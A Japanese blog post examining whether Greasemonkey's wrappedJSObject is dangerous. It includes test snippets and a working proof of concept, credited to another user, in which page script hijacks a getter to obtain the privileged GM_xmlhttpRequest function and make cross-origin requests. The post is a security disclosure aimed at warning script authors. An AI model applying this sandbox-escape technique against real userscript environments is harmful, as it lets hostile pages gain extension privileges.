素人がプログラミングを勉強していたブログ

プログラミング、セキュリティ、英語、Webなどのブログ since 2008

連絡先: すかいぷ:javascripter_  か javascripter あっと tsukkun.net skypeのほうがいいです

wrappedJSObjectは何が危険?

追記:一番下の追記も見てください。特権昇格できてしまいます。

Twitter / miya2000: @javascripter wrappedJSObjで、wrappedJSObjectが危険だという話を聞いていろいろ試してみました。
試したGreasemonkeyのバージョンは0.8.20080609.0です。

まず、Greasemonkey

location.href = 'javascript:' + uneval(function() {
  document.__defineGetter__('id',
  function() {
    alert('危険?');
  });
}) + '()';
document.wrappedJSObject.id;

というコードを実行してみます。
alertは表示されませんでした。
次に、

location.href = 'javascript:' + uneval(function() {
  document.__defineGetter__('id',
  function() {
    alert('危険?');
  });
}) + '()';

setTimeout(function() {
  document.wrappedJSObject.id;
},
0);

を実行してみます。
alertが表示されました。

次に、GM_xmlhttpRequestが取得できるか試してみます。

location.href = 'javascript:' + uneval(function() {
  document.__defineGetter__('id',
  function() {
    eval('GM_xmlhttpRequest', arguments.callee.caller);
  });
}) + '()';

setTimeout(function() {
  document.wrappedJSObject.id;
},
0);

GM_xmlhttpRequest is not definedというエラーが発生して取得できません。

id:miya2000さんが資料としてあげていたはてなダイアリーのコードも一通り実行してみましたが、同様にGM_xmlhttpRequest is not definedというエラーで特権昇格はできません。

ということで、試した限りは平気そうなんですが、どうなんでしょうか。心配です。

id:miya2000さんに、特権昇格のできる例を教えてもらいました。

location.href = 'javascript:' + uneval(function() {
  document.__defineGetter__('id',
  function() {
    setTimeout(eval('GM_xmlhttpRequest', arguments.callee.caller.caller), 0, {
      method: 'get',
      url: 'http://google.co.jp/',
      onload: function(res) {
        alert(res.responseText);
      }
    });
  });
}) + '()';
setTimeout(function() {
  document.wrappedJSObject.id;
},
0);

上の例では特権昇格が起こり、Webページ側からGM_xmlhttpRequestが使われてしまいます。

短縮URLを展開するGreasemonkeyスクリプト - 素人がプログラミングを勉強するブログにも同様の問題があり、すでにCodeReposのほうは修正しました。

結論:wrappedJSObject、unsafeWindowは今でも危険なので、使うのは安全なページのみにするべきです。

id:miya2000さんありがとうございました。